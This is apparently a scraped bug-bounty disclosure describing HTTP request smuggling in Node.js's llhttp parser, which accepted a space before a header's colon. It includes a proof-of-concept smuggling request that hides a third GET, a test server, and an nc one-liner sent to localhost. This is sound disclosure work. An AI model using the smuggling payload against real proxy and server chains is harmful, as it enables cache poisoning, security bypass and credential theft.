Loading HuntDB...

HTTP Request Smuggling due to accepting space before colon

Medium
N
Node.js
Submitted None
Reported by mkg

Vulnerability Details

Technical details and impact analysis

HTTP Request Smuggling
**Summary:** The ``llhttp`` parser in the ``http``module in Node 16.3.0 accepts requests with a space (SP) right after the header name before the colon. This can lead to HTTP Request Smuggling (HRS). **Description:** When Node receives the following request: ``` GET / HTTP/1.1 Host: localhost:5000 Content-Length : 5 hello ``` It interprets the request as having the body `hello`. Here is the relevant section of the code: https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L410-L415 How could this lead to HRS? Imagine that Node is placed behind a proxy which ignores the CL header with a space before the colon, but forwards it as is. Then the following attack can be performed: ``` GET / HTTP/1.1 Host: localhost:5000 Content-Length : 23 GET / HTTP/1.1 Dummy: GET /smuggled HTTP/1.1 Host: localhost:5000 ``` The proxy would see the first and the second GET-request. But Node would see the first and the third GET-request. ## Steps To Reproduce: We don't know of any proxy that behaves this way, but here is how to show that Node is behaving in the described way. Run the following code like this: `node app.js` ```js const http = require('http'); // https://nodejs.org/en/docs/guides/anatomy-of-an-http-transaction/ http.createServer((request, response) => { let body = []; request.on('error', (err) => { response.end("error while reading body: " + err) }).on('data', (chunk) => { body.push(chunk); }).on('end', () => { body = Buffer.concat(body).toString(); response.on('error', (err) => { response.end("error while sending response: " + err) }); response.end("Body length: " + body.length.toString() + " Body: " + body); }); }).listen(5000); ``` Then send a request with a space between the CL header and the colon. This can be done with the following one-liner: ```sh echo -en "GET / HTTP/1.1\r\nHost: localhost:5000\r\nContent-Length : 5\r\n\r\nhello" | nc localhost 5000 ``` See that Node interpreted the body as `hello`. # Supporting Material/References: Relevant section of RFC 7230 (second paragraph of https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4): ``` No whitespace is allowed between the header field-name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject any received request message that contains whitespace between a header field-name and colon with a response code of 400 (Bad Request). A proxy MUST remove any such whitespace from a response message before forwarding the message downstream. ``` ## Impact Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$250.00

Submitted

Weakness

HTTP Request Smuggling